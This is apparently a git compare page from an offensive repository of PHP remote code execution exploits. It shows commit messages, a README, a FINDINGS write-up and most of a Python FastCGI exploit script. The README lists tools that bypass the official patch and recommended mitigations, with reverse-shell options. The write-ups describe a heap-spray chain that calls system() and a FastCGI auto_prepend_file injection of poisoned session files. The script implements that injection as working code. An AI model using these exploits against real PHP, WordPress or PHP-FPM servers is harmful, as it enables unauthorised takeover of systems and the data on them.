Compare commits

...
12 Commits
Author SHA1 Message Date
neko 32e5d9c8fa Update root README with current UAF RCE exploit details
Replaced outdated BG(serialize) description with the current three-stage
exploit chain: heap leak, code leak, and RCE via fake HashTable with
pDestructor=zif_system. Updated usage examples, test results (5/5 RCE on
PHP 8.4.26, 8.3.35, and WordPress 6.8.1), and chunked TE bypass details.
Fixed script filename reference (rce_exploit.py).
2026-10-23 03:52:12 +00:00
neko ac4e654dd6 Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic
WordPress on stock PHP (no php.ini) is vulnerable with the same heap
profile parameters as plain PHP. Tested 5/5 first-attempt RCE against
php:8.4.26-apache + WordPress 6.8.1 with no configuration changes.

Simplified stage 3 retry loop: removed the HTDATA offset scanning that
was added during WordPress debugging (unnecessary, stock offsets work).
Stage 3 now uses the same retry count as stages 1 and 2.
2026-10-22 19:59:12 +00:00
neko fedef710e1 Document five patch defense layers and display_errors=Off analysis
- Expand patch section: five independent defenses, not three
- Defense 1 (rinit_session_globals at MULTIPART_EVENT_START) alone
  is sufficient to block the entire exploit
- Document post_max_size enforcement that blocks chunked TE bypass
- Add display_errors=Off impossibility analysis with technical detail
- Confirm PHP 8.3.35 RCE working (not just stages 1+2)
- Note 8.4.27 tested and confirmed blocked
2026-10-22 19:26:20 +00:00
neko 1d0e9f67fe Fix PHP 8.3.35 HTDATA_OFFSET and document display_errors constraint
- Correct HTDATA_OFFSET for PHP 8.3.35/bookworm from 0x690D8 to 0x700D8
  (different struct sizes shift the heap layout by 7 pages)
- Verified RCE: 8.4.26 and 8.3.35 both succeed on first attempt
- Document the display_errors=On requirement for the info leak stages
- Explain why stock PHP and stock WordPress-on-PHP are still vulnerable
  (display_errors defaults to On; WordPress ini_set runs after parsing)
- Add docker configs for display_errors=Off test containers
2026-10-22 19:11:28 +00:00
neko e02c9f3122 Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE
PHP checks Content-Length against post_max_size before parsing multipart
bodies, but Transfer-Encoding: chunked requests have no Content-Length.
The full chunked body is processed without any size check, allowing the
exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M.

This removes the last non-default configuration requirement. The exploit
now achieves full RCE against stock php:*-apache Docker images with zero
configuration changes (4/4 confirmed on php:8.4.26-apache).

Changes:
- post() auto-switches to chunked TE for bodies over 8MB
- Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit)
- README rewritten to document the working three-stage RCE chain
- docker-compose.yml adds stock variant for testing
2026-10-22 12:58:04 +00:00
neko 13fdd2b446 UAF RCE exploit with full ASLR bypass and auto-detection
Three-stage chain: heap leak, libphp leak, zif_system terminal.
All stages succeed on first attempt against php:8.4.26-apache.

Features:
- HTTP fingerprinting auto-detects PHP version from X-Powered-By
- Built-in offset database for PHP 8.3.35, 8.4.26, 8.3.36, 8.4.27
- Inline ELF parser extracts offsets without external tools
- --auto-pull fetches matching Docker image for unknown versions
- --workers N spray mode for multi-worker Apache configs
- Docker lab setup for reproducible testing

Tested: 9/9 successful RCE runs, all stages first-attempt.
2026-10-22 12:39:30 +00:00
neko 39f7f33938 UAF exploit: exhaustive analysis, five independent RCE blockers documented
Type confusion via var_access confirmed: R:N; references resolve stale
entries.data[0] without crashing, returning the attacker's own session
data from the cached ZendMM chunk (pages retained, not zeroed).

Key finding: filler spray and type confusion are mutually exclusive.
var_tmp_var reads last_dtor (struct offset 16) BEFORE var_access reads
entries (offset 56). Spray corrupts offset 16, crashing before the
type confusion can execute.

Built-in class audit: SplFileObject and PDO have function pointer calls
in free_obj, but constructing fake objects requires libphp.so base (ASLR).

Patch audit (8.5.12): all three defense layers are solid, no bypass found.

Five RCE blockers: no info leak, filler/type-confusion mutual exclusion,
GC header overlap, no usable classes without ASLR bypass, session key
validation.
2026-10-22 04:47:13 +00:00
neko fbaced0a77 UAF exploit: confirmed crash, accurate docs, fix stale-state race
Rewrote the exploit to correctly avoid GET requests between OOM
trigger and crash verification (RINIT zeros BG state on every
request). Filler field spray (100 x 8200B = 300 pages) reliably
reclaims the stale struct pages. Crash confirmed on first attempt.

Updated README and FINDINGS to accurately describe:
- The 8216-byte struct (3 pages), not the earlier 64-byte bin
- GC header overlap that blocks controlled RCE (offsets 0-23)
- Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12
- Honest exploitation status: UAF crash confirmed, RCE not achieved
2026-10-22 03:48:05 +00:00
neko a5396a6ab0 Fix UAF exploit to use confirmed two-request OOM approach
The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.

The corrected flow:
  Phase 1: Create ~500KB session file via large upload progress value
  Phase 2: Fill memory with fields, then file upload triggers session
           re-init which OOMs during unserialize of the large session
  Phase 3: Verify stale BG(unserialize) state on the surviving worker

Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
2026-10-21 22:17:29 +00:00
neko 76bc2bc2a3 UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)
Pure memory corruption path: OOM during multipart parsing leaves stale
BG(serialize) state in Apache mod_php prefork workers. Heap spray
reclaims the freed 64-byte slot, giving control of a HashTable's
pDestructor for arbitrary function call.

No LFI, no framework, no non-default PHP settings required.

Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed:
- OOM via field flood, worker survival, session file persistence
- Stale BG(serialize).level across requests
- Heap spray targeting ZendMM 64-byte bin
2026-10-21 22:12:06 +00:00
neko 8147ce0edb FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
2026-10-21 21:19:25 +00:00
neko 7fecd435cc Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
2026-10-21 20:47:37 +00:00
21 changed files with 5317 additions and 9 deletions
+162 -9
View File
@@ -2,7 +2,8 @@
Remote Code Execution exploits for two critical PHP vulnerabilities in the Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations. exploits that defeat the official security patch and all recommended mitigations,
plus a no-LFI chain that removes the application from the attack entirely.
**No external dependencies** — pure Python 3 stdlib. **No external dependencies** — pure Python 3 stdlib.
@@ -25,11 +26,15 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|--------|--------|-------------| |--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE | | `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE | | `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs | | `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload | | `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | | `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** | | `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules | | `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** |
## Prerequisites ## Prerequisites
@@ -70,6 +75,135 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection. Use `--session-path` and `--lfi-param` to override auto-detection.
## RCE Without LFI
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
with **no application include at all**. The consumer is php-fpm's own request
routing instead of application code:
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
`<save_path>/sess_<SID>` during multipart parsing. This fires before
script dispatch, so any PHP-handled URL works — a 404 is enough.
2. If `session.save_path` is web-served, the session file is directly
requestable over HTTP.
3. With `security.limit_extensions` empty (common in production fpm pools),
fpm executes the extensionless session file through the classic
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
4. With `cleanup=1` (default) the file is truncated at upload end, so
execution is raced against the upload window (reliable on streaming
stacks, parse-time-limited on buffering stacks), or made deterministic
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
file persists.
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
the session decoder itself can never be used as the consumer: the `php`
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
the raw attacker bytes always land in the key which is never unserialized, and
`mod_files` rejects any SID that could turn the filename into an include
target.
```bash
# classify the target: which URL prefixes serve session.save_path
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
# interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
--oom --fields 30000 --fsize 512 --cmd 'id'
```
`nolfi/check_deploy.php` reports whether a deployment meets the two
preconditions (save_path web-served, empty limit_extensions). Drop it on the
target, request it once, remove it.
## RCE via FastCGI (Default Config)
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
scenarios.
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
worker in the multipart parser (keeping the poisoned session file on disk)
while a second FastCGI request to another worker sets
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
session file before any script. The attacker's PHP code executes.
`security.limit_extensions` does not block this: it only restricts
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
```bash
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--script-file /var/www/html/index.php \
--session-path /tmp --cmd 'id'
# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--lhost 10.0.0.1 --lport 4444
```
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
pool-level configuration can prevent this when FastCGI is reachable.
## UAF RCE (Apache mod_php, No LFI, No Framework)
`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory
corruption path that requires **no LFI, no framework, no libraries, and no
non-default PHP settings**. The only SAPI requirement is Apache mod_php with
prefork MPM (default on Debian/Ubuntu).
Three-stage exploit chain with full ASLR bypass, all over plain HTTP:
1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)`
pointer. A second request sprays a fake `zend_string` with `len=0x1000`
over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap
data into a `Set-Cookie` header, revealing the Zend MM chunk base.
2. **Code leak**: Same mechanism, but the spray places a real `HashTable`
at the target slot. The `pDestructor` field leaks the libphp.so base.
3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an
embedded command string is sprayed onto the heap. Session cleanup calls
`zend_hash_destroy` on the fake table, invoking `system(cmd)`.
The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`:
PHP only checks `Content-Length`, so a chunked request with no
`Content-Length` header delivers the full OOM payload (140MB) despite the
default 8MB limit.
Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`,
and WordPress 6.8.1 on stock PHP, all with zero configuration changes.
```bash
# Auto-detect PHP version, look up offsets, exploit
python3 uaf-rce/rce_exploit.py -u http://target/index.php
# Verify RCE via docker exec
python3 uaf-rce/rce_exploit.py -u http://target/ \
--docker-proof CONTAINER /tmp/pwn
# Multi-worker Apache
python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150
# Custom command (max 14 bytes; use 'sh</tmp/c' for longer)
python3 uaf-rce/rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
```
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
never persists across requests. See `uaf-rce/README.md` for the full
vulnerability analysis, patch details, and offset database.
## Patch Bypass Findings ## Patch Bypass Findings
The PHP 8.4.27 patch has three confirmed bypass paths to RCE: The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
@@ -87,22 +221,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.** poisoning needed. **Bypasses every recommended mitigation.**
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
file is executed by fpm itself via PATH_INFO routing. No application
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
drips a multipart upload via raw FastCGI to hold a worker in the parser
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
No LFI, no special config, no library. `php_admin_value` does not block it.
See `fcgi/FINDINGS.md`.
### Mitigation Matrix ### Mitigation Matrix
| Mitigation | Race | RLIMIT | /proc/fd | | Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|---|---|---|---| |---|---|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL | | Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** | | + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | | + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | | + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
| Fix the LFI | OK | OK | OK | | + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
| + save_path not web-served | — | — | — | OK | **FAIL** |
| + block FPM network access | — | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
### Recommendations ### Recommendations
1. Set `session.upload_progress.enabled=0` in php.ini 1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`) 2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications 3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access 4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
5. Keep `session.save_path` outside any web-served tree
6. Set `open_basedir` to restrict filesystem access
7. Block network access to FPM: use unix sockets with restricted permissions,
firewall TCP port 9000
## WordPress ## WordPress
+128
View File
@@ -0,0 +1,128 @@
# RCE via FastCGI + Session Upload Progress (No LFI)
## Summary
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
session upload progress write primitive from CVE-2026-109618 /
CVE-2026-109619 becomes RCE without any application-level vulnerability.
No LFI needed. No framework needed. No special PHP configuration needed.
Works on default php.ini settings.
## Attack chain
```
Worker A (held open) Worker B (executes)
--- ---
FastCGI POST with FastCGI GET with
multipart body: PHP_VALUE:
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
= <?php system(...); ?> /tmp/sess_<SID>
SCRIPT_FILENAME=
File upload content /var/www/html/index.php
dripped one byte at a time
-> session file persists PHP includes the session
-> parser blocks for file before index.php
the entire drip window -> attacker PHP runs
-> RCE
```
### Step by step
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
`HTTP_COOKIE` param. The body contains:
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
- A file upload whose content is dripped slowly (byte by byte)
2. **FPM worker A enters the multipart parser.** As soon as the progress
field and file header are read, `session.upload_progress` writes the
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
reading the file content from STDIN, which we control.
3. **While worker A is blocked, open a second FastCGI connection to
worker B.** Send a GET request with:
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
`include()` the session file before running the main script. The session
file contains the attacker's `<?php ... ?>` code, which executes.
5. **Cleanup.** The drip finishes, worker A completes normally (or times
out), the session file is cleaned up. The attacker's code has already
executed on worker B.
## Why it works on default configuration
| Setting | Default | Required |
|---------|---------|----------|
| `session.upload_progress.enabled` | `1` | `1` |
| `session.save_path` | `/tmp` | Any known path |
| `pm.max_children` | `5` (dynamic) | `>= 2` |
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
`security.limit_extensions` blocks execution of files without `.php`
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
`include()`, which ignores `security.limit_extensions` entirely. The
session file (which has no extension) is included as PHP code regardless
of `limit_extensions`.
## When FPM is reachable
This is the main precondition. The attacker needs raw TCP or unix socket
access to the FPM process. This is realistic in:
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
can reach it.
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
name. Adjacent pods, including compromised ones, can send raw FastCGI.
3. **SSRF.** An SSRF vulnerability in any application on the same host
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
can carry arbitrary TCP payloads including FastCGI.
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
Docker port mappings exposing 9000 to the network.
5. **Same-host access.** A low-privilege shell on the same machine can
often read the unix socket (permissions vary by distro).
## Test results
Tested against PHP-FPM 8.3.6 with default settings:
- `session.upload_progress.enabled=1` (default)
- `session.save_path=/tmp` (default)
- `session.upload_progress.cleanup=1` (default)
- `security.limit_extensions = .php .phar` (default)
- `pm = static`, `pm.max_children = 2`
Results: 3/3 tests successful. Race hit on first attempt within 200ms
of the drip starting. Reliable with `--drip-time 5` (5 second window).
## Mitigations
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
is not needed. This removes the write primitive entirely.
2. **Block network access to FPM.** FPM should only be reachable from the
web server process. Use unix sockets with restricted file permissions,
or firewall TCP port 9000.
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
racer cannot execute while the drip holds a worker. This severely impacts
performance and is not practical.
4. Setting `security.limit_extensions` does NOT help. The inclusion
happens via `auto_prepend_file`, which bypasses limit_extensions.
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
access bypasses the web server that would normally enforce admin
values. The only effective mitigation is blocking FastCGI access.
+566
View File
@@ -0,0 +1,566 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
Combines the PHP session upload progress write primitive with direct
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
special PHP configuration needed.
Attack chain:
1. FastCGI multipart POST to any .php file on the target FPM pool:
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
<save_path>/sess_<SID>. The request body is dripped slowly via
FastCGI STDIN so the session file persists for seconds (the
multipart parser blocks until STDIN EOF).
2. While worker A is blocked on our slow drip, a second FastCGI
request goes to worker B:
SCRIPT_FILENAME = <same .php file>
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
PHP includes the session file before running the script.
Our PHP code executes.
Why this works on default config:
- session.upload_progress.enabled=1 (default)
- session.save_path=/tmp (common default)
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
- security.limit_extensions only restricts SCRIPT_FILENAME, not
files loaded via auto_prepend_file
- No application vulnerability needed
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
Preconditions:
- Network access to PHP-FPM (TCP socket or unix socket)
- At least one .php file exists on the server
- session.upload_progress.enabled=1 (default)
- pm.max_children >= 2 (default)
When is FPM reachable:
- Docker: official PHP-FPM images listen on TCP 9000
- Kubernetes: FPM pods addressable from adjacent pods
- SSRF: another app on the same host can reach FPM
- Same-host: unix socket /run/php/php-fpm.sock
- Exposed port: firewall misconfiguration
Usage:
# Direct FastCGI (drip race, most reliable)
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Specify PHP file and session path
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--script-file /var/www/html/index.php \\
--session-path /tmp --cmd 'id'
# Unix socket
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# HTTP poison + FastCGI execute (when FPM not directly reachable
# for uploads, but reachable for execution)
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
# Reverse shell
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import struct
import sys
import threading
import time
from urllib.parse import urlparse
# ── FastCGI protocol ──────────────────────────────────────────────────
FCGI_VERSION_1 = 1
FCGI_BEGIN_REQUEST = 1
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_RESPONDER = 1
def fcgi_record(rtype, request_id, content):
clen = len(content)
pad = (8 - (clen % 8)) % 8
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
request_id, clen, pad)
+ content + b"\x00" * pad)
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
struct.pack(">HBxxxxx", role, flags))
def fcgi_nv(name, value):
nlen = len(name)
vlen = len(value)
out = b""
if nlen < 128:
out += struct.pack("B", nlen)
else:
out += struct.pack(">I", nlen | 0x80000000)
if vlen < 128:
out += struct.pack("B", vlen)
else:
out += struct.pack(">I", vlen | 0x80000000)
return out + name + value
def fcgi_params(request_id, params_dict):
body = b""
for k, v in params_dict.items():
body += fcgi_nv(k.encode(), v.encode())
return (fcgi_record(FCGI_PARAMS, request_id, body)
+ fcgi_record(FCGI_PARAMS, request_id, b""))
def fcgi_stdin_eof(request_id):
return fcgi_record(FCGI_STDIN, request_id, b"")
def fcgi_parse_stdout(data):
stdout_data = b""
stderr_data = b""
pos = 0
while pos + 8 <= len(data):
_, rtype, _, clen, pad = struct.unpack(
">BBHHBx", data[pos:pos+8])
content = data[pos+8:pos+8+clen]
pos += 8 + clen + pad
if rtype == FCGI_STDOUT:
stdout_data += content
elif rtype == FCGI_STDERR:
stderr_data += content
elif rtype == FCGI_END_REQUEST:
break
return stdout_data, stderr_data
# ── FPM connection ────────────────────────────────────────────────────
def fpm_connect(fpm_addr, timeout=10):
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect(fpm_addr)
return sock
if ":" in fpm_addr:
host, port = fpm_addr.rsplit(":", 1)
port = int(port)
else:
host = fpm_addr
port = 9000
return socket.create_connection((host, port), timeout=timeout)
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
"""Send GET request to FPM with auto_prepend_file."""
params = {
"SCRIPT_FILENAME": script_filename,
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
"DOCUMENT_ROOT": os.path.dirname(script_filename),
"REQUEST_URI": "/" + os.path.basename(script_filename),
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout_data, stderr_data = fcgi_parse_stdout(resp)
if b"\r\n\r\n" in stdout_data:
_, body = stdout_data.split(b"\r\n\r\n", 1)
return body, stderr_data
return stdout_data, stderr_data
# ── Multipart helpers ─────────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
session_paths, marker, drip_time=10,
timeout=30):
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
multipart body contains a file upload whose content is dripped byte
by byte, keeping the FPM worker in the multipart parser (which keeps
the session file on disk) for the entire drip_time.
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
pointing to the session file, racing to include it while worker A
holds it open.
"""
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
found = {"body": None, "path": None}
# Build the multipart body prefix: progress field + file header
body_prefix = b""
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body_prefix += (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
# The suffix that closes the file part and the multipart
body_suffix = b"\r\n--" + bnd + b"--\r\n"
# Calculate total Content-Length (we need to declare it upfront)
# The file content will be dripped: we'll send drip_bytes of padding
drip_bytes = 1024 * 64
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
# ── Thread B: racer ──
def racer():
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline and found["body"] is None:
for sp in session_paths:
if found["body"] is not None:
return
sess_file = f"{sp}/sess_{sid}"
attempt += 1
try:
body, _ = fpm_execute(fpm_addr, script_file,
sess_file, timeout=3)
if marker.encode() in body:
found["body"] = body
found["path"] = sess_file
return
except Exception:
pass
time.sleep(0.005)
# ── Thread A: slow drip ──
fcgi_params_dict = {
"SCRIPT_FILENAME": script_file,
"SCRIPT_NAME": "/" + os.path.basename(script_file),
"REQUEST_METHOD": "POST",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
"CONTENT_LENGTH": str(total_body),
"DOCUMENT_ROOT": os.path.dirname(script_file),
"REQUEST_URI": "/" + os.path.basename(script_file),
